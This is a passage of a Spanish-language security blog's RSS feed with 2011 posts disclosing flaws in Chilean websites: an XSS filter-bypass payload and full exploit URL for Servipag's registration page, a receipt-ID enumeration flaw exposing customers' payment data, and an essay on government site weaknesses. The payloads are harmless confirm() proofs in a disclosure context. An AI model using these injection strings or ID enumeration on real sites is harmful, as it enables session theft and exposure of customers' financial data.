			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/"  data-text="Banco Central de Chile vulnerable a XSS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Seguridad versus Usabilidad: El caso del banco Santander</title>
		<link>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/</link>
		<comments>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 18:04:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[usabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2697</guid>
		<description><![CDATA[Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg"><img class="aligncenter size-full wp-image-2698" title="nino_pc" src="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg" alt="" width="500" height="375" /></a></p>
<p>Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza <strong>la usabilidad por sobre la seguridad</strong>. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son <span style="text-decoration: line-through;">unos tontos</span> unos niños ingenuos, y que por no hacerlos pensar &#8220;donde hacer click&#8221; le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.</p>
<p>Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario &#8220;<em>normal</em>&#8220;, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png"><img class="aligncenter size-full wp-image-2700" title="santander_login" src="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png" alt="" width="196" height="215" /></a>Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.</p>
<p><span id="more-2697"></span></p>
<p>Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo &#8220;rut&#8221; para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, <strong>¿cual es la mejora de usabilidad que implementó Santander?</strong></p>
<p>Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.</p>
<p>El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo &#8220;rut&#8221;, que no está protegido por &#8220;*&#8221; y queda registrado en el historial, cuando el usuario sin darse cuenta presione &#8220;Iniciar sesión&#8221;, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.</p>
<p>Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido &#8220;rut&#8221;.</p>
<p><strong>¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?</strong></p>
<p>Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fseguridad-versus-usabilidad-el-caso-del-banco-santander%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/"  data-text="Seguridad versus Usabilidad: El caso del banco Santander" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Servipag: Nuevamente vulnerable a Cross-Site Scripting</title>
		<link>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 13:01:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2653</guid>
		<description><![CDATA[Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario. El sitio web de Servipag se ha caracterizado ultimamente por [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png"><img class="aligncenter size-full wp-image-2657" title="servipag_xsssept" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png" alt="" width="482" height="393" /></a></p>
<p>Así es, el <strong>portal chileno de pagos en línea más seguro</strong> nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario.</p>
<p>El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los &#8220;XSS visual&#8221; no afectan al usuario:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png"><img class="aligncenter size-full wp-image-2654" title="xss_visual" src="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png" alt="" width="515" height="339" /></a></p>
<p>Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.</p>
<p><span id="more-2653"></span></p>
<p>La vulnerabilidad se encuentra especificamente en la URL <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm</strong>. El sitio autocompleta el campo &#8220;rut&#8221; según el valor pasado por GET mediante la variable &#8220;Rut&#8221;, por ejemplo, si ingresamos a <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1313&amp;BuscaDatos=2</strong> veremos que nos completa el rut de la siguiente forma</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png"><img class="aligncenter size-full wp-image-2656" title="servipag_1313" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png" alt="" width="254" height="83" /></a></p>
<p>Y si vemos el código fuente, nos muestra:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png"><img class="aligncenter size-full wp-image-2659" title="servipag_xsssrc" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png" alt="" width="260" height="99" /></a>Por lo tanto, si en lugar de &#8220;Rut=1313&#8243; pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función &#8220;Reset()&#8221;, sin embargo, el desarrollador de servipag puso un <span style="text-decoration: line-through;">estúpido</span> inutil filtro que es <strong>demasiado</strong> fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos &#8216;; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.</p>
<p>La sintáxis que usaremos para explotar la vulnerabilidad será <strong>1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/*</strong> la cual nos generará un código fuente similar a:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png"><img class="aligncenter size-full wp-image-2660" title="servipag_xsssrc2" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png" alt="" width="654" height="89" /></a></p>
<p>Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.</p>
<p>Finalmente, la URL vulnerable es <a href="http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212';}/**/window.stop();confirm(/Servipag_XSS?/);/*='&amp;BuscaDatos=2" target="_blank"><strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS?/);/*=&#8217;&amp;BuscaDatos=2</strong></a>.</p>
<p><strong>ACTUALIZADO (12 DE SEPT 14:08hrs)</strong></p>
<p>Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-nuevamente-vulnerable-a-cross-site-scripting%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"  data-text="Servipag: Nuevamente vulnerable a Cross-Site Scripting" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Servipag: Continua siendo un portal de pagos inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/#comments</comments>
		<pubDate>Sat, 27 Aug 2011 19:46:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[data leak]]></category>
		<category><![CDATA[information leak]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2637</guid>
		<description><![CDATA[Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Pasa el tiempo y, luego de haber reportado <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">las vulnerabilidades que afectaban a Servipag</a>, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una <a href="http://www.secureless.org/vulnerability/2012/">reportada en Secureless</a>, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.</p>
<p>Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos &#8230; PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png"><img class="aligncenter size-full wp-image-2638" title="srvpag_comprob1" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png" alt="" width="572" height="373" /></a></p>
<p><strong>Que tipo de información podemos ver aqui?</strong></p>
<p>1. Se refiere al &#8220;cliente&#8221; como &#8220;Usuario&#8221;, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.<br />
2. El banco mediante el cual se hace el pago.<br />
3. Empresa o servicio que se paga.<br />
4. Monto, fecha y ID del pago realizado.</p>
<p>Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago &#8230; en fin, una serie de información que nadie tendría que saber.</p>
<p><span id="more-2637"></span></p>
<p>Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del <strong>68012208</strong>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png"><img class="aligncenter size-full wp-image-2641" title="srvpag_comprob2" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png" alt="" width="563" height="347" /></a>Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.</p>
<p><strong>No es esto poner en riesgo los datos de los usuarios?</strong></p>
<p>La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png"><img class="aligncenter size-full wp-image-2643" title="xss_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png" alt="" width="572" height="252" /></a></p>
<p><strong>Cual es el potencial riesgo de estas dos vulnerabilidades juntas?</strong></p>
<p>Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.</p>
<p>Nuevamente, <strong>Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.</strong></p>
<p><strong>ACTUALIZADO</strong> Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png"><img class="aligncenter size-full wp-image-2650" title="xss_serv" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png" alt="" width="425" height="336" /></a></p>
<p>Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.</p>
<p><strong>ACTUALIZADO (6 de Septiembre)</strong><br />
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para &#8220;obligarlos&#8221; a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:</p>
<p><a href="http://www.secureless.org/vulnerability/2034/">http://www.secureless.org/vulnerability/2034/</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-continua-siendo-un-portal-de-pagos-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"  data-text="Servipag: Continua siendo un portal de pagos inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Está preparado el gobierno chileno para recibir un ataque de robo de información ?</title>
		<link>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/</link>
		<comments>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 14:30:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[anonymous]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[seguridad por oscuridad]]></category>
		<category><![CDATA[servicios]]></category>
		<category><![CDATA[servidores]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2474</guid>
		<description><![CDATA[Ultimamente se han puesto de moda los ataques de &#8220;Anonymous&#8221;, ataques como tirar un sitio abajo o saturación de servidores, algo bastante simple que no requiere mucho conocimiento y es por esto que mucha gente se ha sumado. Algunos medios los han llamado &#8216;hackers&#8216; otros &#8216;simples aficionados que se descargan un programa, introducen una URL, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/vvenanon.gif"><img class="alignleft size-thumbnail wp-image-2506" title="vvenanon" src="http://blog.zerial.org/wp-content/uploads/2011/07/vvenanon-150x150.gif" alt="" width="114" height="114" /></a>Ultimamente se han puesto de moda los ataques de &#8220;Anonymous&#8221;, ataques como tirar un sitio abajo o saturación de servidores, algo bastante simple que no requiere mucho conocimiento y es por esto que mucha gente se ha sumado. Algunos medios los han llamado &#8216;<em>hackers</em>&#8216; otros &#8216;<em>simples aficionados que se descargan un programa, introducen una URL, se coordinan y presionan enter</em>&#8216;. Por suerte del gobierno se comparan con los ataques originales de Anonymous o LulzSec. Cuando digo &#8220;originales&#8221; me refiero a esos ataques que han salido a la luz donde divulgan información sobre las cuentas de usuario e información sensible y privada de las empresas, no a unos <strong>wannabe</strong>.</p>
<p>Según mi opinión, un ataque de denegación de servicio a sitios del gobierno no tiene ningun sentido y no hacen daño ni provocan preocupación, creo que los ataques deberian realizarse hacia &#8220;servicios&#8221; y no a &#8220;sitios&#8221;, donde se vean afectados los servicios que los ciudadanos usan y que el gobierno se sienta incapaz de brindarselos. Esto sucede porque no se hace un estudio sobre la víctima, para darle donde más le duele, se puede llamar &#8220;ataque organizado&#8221; porque se acuerdan una hora y todos presionan el botón ese dia a esa hora, pero no hay una real coordinación donde se investigue un objetivo donde realmente llame la atención, y mientras siga siendo así, seguiran siendo ataques simbólicos.</p>
<p>El gobierno chileno tiene <strong>muchas</strong> brechas de seguridad informática y de la información, es por esto que me hago la pregunta, <strong>¿Está preparado el gobierno de Chile para recibir un ataque de robo de información?</strong>, la respuesta clara es: <strong>NO</strong>. No está preparado el gobierno, ni las personas, ni los encargados, no existen políticas (y si existen no se cumplen), encargan su seguridad a un simple <strong>firewall</strong> que solo les sirve para que sus empleados no puedan ingresar a ver youtube. Obviamente no puedo decir que &#8220;todas las entidades del gobierno tienen fallos de seguridad&#8221;, pero me refiero al gobierno en general.</p>
<p>Desde hace un tiempo que he estado investigando las distintas vulnerabilidades web en sitios del gobierno, intentando reportar la mayoría. En algunos casos no responden, en otros casos no hay forma de contactarlos pero en el mejor de los casos, recibo respuestas y unas satisfactorias <strong>gracias</strong>.</p>
<p><span id="more-2474"></span></p>
<p>El gobierno chileno es <strong>muy</strong> vulnerable a la fuga y robo de información (<em>data leak, data theft</em>).</p>
<p><strong>Fuga de Información o Data Leak</strong><br />
Basta con preparar un <em>dork</em> lo suficientemente bueno que nos permita encontrar URLs indexadas por algún buscador donde podamos acceder a información sensible. Es muy típico acceder a respaldos o <em>dumps</em> de bases de datos, a planillas de calculo o archivos de texto que no deberían ser publicos. Por otro lado tambien está el problema del control de acceso, saber quien y a qué se accedió a los sistemas de manejo de información.</p>
<p><strong>Robo de Información o Data Theft</strong><br />
Asimismo, tambien es vulnerable al <em>robo de información o Data Theft</em>, se han preguntado que tan fácil es ingresar a una organización del gobierno y encontrar información sensible para poder llevarnos? Los mismos <em>empleados publicos</em> tienen la capacidad de insertar un pendrive en sus computadores de trabajo y llevarse información a casa, muchas veces lo hacen inconcientemente, sin saber o sin darse cuenta que estan exponiendo la seguridad de la institución.<br />
Se han preguntado si <strong>la información que se da de baja realmente se destruye?</strong><br />
- <strong>Qué información podemos encontrar en los basureros diariamente?</strong> Sería bueno hacer ese ejercicio &#8230;<br />
- <strong>Si a una persona se le pierde el telefono movil o el portatil de la institución, qué información queda expuesta?</strong><br />
- <strong>Cuanta información sensible manejan las personas sin saber que se tratan de datos sensibles?</strong></p>
<p><strong>Servidores y Servicios</strong><br />
Si hablamos de la <em>seguridad a nivel de servidores y servicios</em>, de 1 a 10 yo pienso que el nivel de seguridad no supera el 5 en la mayoría de los casos: instalaciones y configuraciones por defecto, versiones de sistema operativo antigua, versiones de servicios antiguas (ftp, ssh, http, etc), passwords débiles y genéricas, poca seguridad en cuanto a permisos y propietarios de archivos (se encuentran muchos permisos 777 y como propietario el usuario apache) y por último, culpando nuevamente al usuario, el hecho de que un usuario le entregue su password a otras personas.</p>
<p><strong>Vulnerabilidades Web</strong><br />
Pueden tener el firewall más caro, contratar a la empresa de seguridad con más prestigio, pero cuando una web es vulnerable a ataques que nos permitan acceder al servidor de alguna forma, es dificil de detectar. <strong>Muchos</strong> sitios web del gobieron son vulnerables a distintos tipos de ataques, desde algunos tan sencillos como los que nos permiten obtener el full path, hasta unas mas complejas que nos permiten, mediante distintas técnicas de ataque, obtener el control del servidor. Las vulnerabilidades tipicas son las inyecciones de SQL (sql injection), XSS (en algunos casos XSS permanentes), Local/Remote File Include, Directory Traversal y, para rematar, <strong>Arbitrary File Upload</strong>. Hay veces que saltarse los filtros es muy facil, pudiendo combinar distintas vulnerabilidades como &#8220;<strong>Full Path Disclosure + Arbitrary File Upload + Directory Traversal</strong>&#8221; para lograr obtener una shell en el servidor. Muchos sistemas carecen de validaciones efectivas para sanitizar o filtrar los parametros que se pasan mediante GET o POST.</p>
<p><strong>El caso del Ministerio del Interior</strong><br />
Hace unas semanas reporté una vulnerabilidad de XSS Permanente en el sitio web del Ministerio del Interior. En algunos casos un XSS podría parecer inofensivo, pero en este caso en particular al tratarse de un XSS permanente, si alguien lo hubiese explotado, perfectamente podria haber accedido a información sensible del ministerio, ya que se encontraba en un sistema donde los usuarios realizan preguntas o peticiones al ministerio, luego las preguntas son recibidas por gente que trabaja en el ministerio mediante una interfáz web. Si inyectabamos un codigo html/javascript en nuestra &#8220;pregunta&#8221;, se guardaba sin filtrar ni <em>parsear</em> en la base de datos, luego cuando el usuario encargado ingresaba vía web al sistema de administración, el código javascript se le ejecutaba en el navegador, exponiendolo a un ataque que podría haberle robado la sesión o más datos de su computador, enviandolos a un servidor remoto.<br />
Esta vulnerabilidad fue corregida despues de haberla reportada.</p>
<p><strong>El caso de la Dirección General de Movilicación Nacional (DGMN)</strong><br />
La DGMN expone desde el 2007 la base de datos del <strong>registro del servicio militar</strong>, dejando al descubierto los nombres de los que postularon y fueron llamados, juntos con sus RUT y más información sensible. La DGMN ha sido reportada mediante distintas vias y ninguna ha dado resultado, siguen sin solucionar el problema y hasta el día de hoy la base de datos está expuesta junto con otros datos más.</p>
<p>Si en Chile el grupo &#8220;Anonymous&#8221; estuviese conformado por <em>hackers</em> con los conocimientos y habilidades suficientes, estoy seguro que podrian poner en aprietos al gobierno.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Festa-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/"  data-text="Está preparado el gobierno chileno para recibir un ataque de robo de información ?" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
